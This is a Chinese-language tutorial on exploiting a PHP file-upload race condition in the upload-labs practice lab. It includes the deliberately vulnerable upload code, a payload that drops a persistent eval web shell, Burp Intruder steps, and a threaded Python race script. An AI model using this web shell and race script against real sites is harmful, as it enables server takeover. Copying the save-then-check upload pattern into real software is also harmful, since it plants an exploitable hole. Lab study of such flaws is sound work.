目录

一、什么是条件竞争

二、场景代码分析

本文用于实验的PHP代码如下:

 知识点补充:

代码分析:

三、条件竞争步骤

1、竞争payload:

2、竞争方法:

1、burpsuite:

2、python脚本:


一、什么是条件竞争

  在某些文件上传情境中,后端代码会先保存我们所上传的文件,然后再检查我们上传的文件是否含有风险,如果有的话会被删除,这是我们就需要和删除函数(如unlink()函数)来进行时间与线程上的竞争,争取在删除文件之前访问到该文件,达到攻击效果

二、场景代码分析

本文用于实验的PHP代码如下:

<?php
header("Content-Type:text/html;charset=utf-8");
$filename = $_FILES['file']['name'];  //获取上传文件的全名
$ext = substr($filename,strrpos($filename,'.') + 1); //从点号之后的一个字符开始截取,也就是说获取文件后缀

$path = 'uploads/' . $filename;  //上传文件的路径及文件名
$tmp = $_FILES['file']['tmp_name'];   //上传文件在系统中的临时名
if(move_uploaded_file($tmp, $path))  //上传文件到指定路径
{
	if(!preg_match('/php/i', $ext))       //判断后缀是否为php
    {       
		echo 'upload success,file in '.$path;   //不是这返回上传成功
	}
    else
    {
		unlink($path);                    //若是PHP则删除
		die("can't upload php file!");
	}

	}
else
{
    die('upload error');
}

 知识点补充:

$_FILES全局变量数组内容如下:
$_FILES['myFile']['name'] 客户端文件的原名称。
$_FILES['myFile']['type'] 文件的 MIME 类型,需要浏览器提供该信息的支持,例如"image/gif"。
$_FILES['myFile']['size'] 已上传文件的大小,单位为字节。
$_FILES['myFile']['tmp_name'] 文件被上传后在服务端储存的临时文件名,一般是系统默认。可以在php.ini的upload_tmp_dir 指定,但 用 putenv() 函数设置是不起作用的。
$_FILES['myFile']['error'] 和该文件上传相关的错误代码。['error'] 是在 PHP 4.2.0 版本中增加的。下面是它的说明:(它们在PHP3.0以后成了常量)

代码分析:

该代码首先会通过 move_uploaded_file 函数将上传的文件移动到指定目录,然通过preg_match('/php/i', $ext)这段不分大小写的正则检验上传文件的后缀是否为php,如果是的话则利用unlink函数删除该文件,我们需要在unlink函数执行之前,访问到所上传的文件

三、条件竞争步骤

1、竞争payload:

由于我们可以打开上传文件的时间很短,所以想通过上传的文件直接连接shell是不可能的,但我们可以令上传文件内容如下

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd]);  ?>' ); ?>

该文件只要被访问到,即会马上创建一个shell.php文件,即使该文件被unlink函数删除后,其所创建的shell.php文件仍存在,我们可通过shell.php拿下站点

2、竞争方法:

这里以upload-labs 第17关为例

文件上传条件竞争python脚本 php文件上传条件竞争_php

1、burpsuite:

这里我们上传文件抓包得到

文件上传条件竞争python脚本 php文件上传条件竞争_php_02

 然后将上传文件的数据包发送到 intruder模块

文件上传条件竞争python脚本 php文件上传条件竞争_上传_03

 然后clear掉所有预选项

文件上传条件竞争python脚本 php文件上传条件竞争_文件上传条件竞争python脚本_04

payload模块中,设置为空payload模式,次数设置为两千,也就是说不停地上传2000次该文件,最后start attack

最后在浏览器不停地访问

http://localhost/upload-labs/upload/szm.php

访问成功,即shell访问成功

2、python脚本:

# coding:utf-8
import requests
from concurrent.futures import ThreadPoolExecutor


def td(list):
    url = 'http://localhost/upload-labs/Pass-17/index.php'
    files = {'upload_file': (
        'szm.php', "<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd]);  ?>' ); ?>")}
    data = {'submit': '上传'}
    r = requests.post(url=url, data=data, files=files)
    re = requests.get('http://localhost/upload-labs/upload/szm.php')
    if re.status_code == 200:
        print('上传成功')


if __name__ == '__main__':
    with ThreadPoolExecutor(20) as p:
        p.map(td, range(200))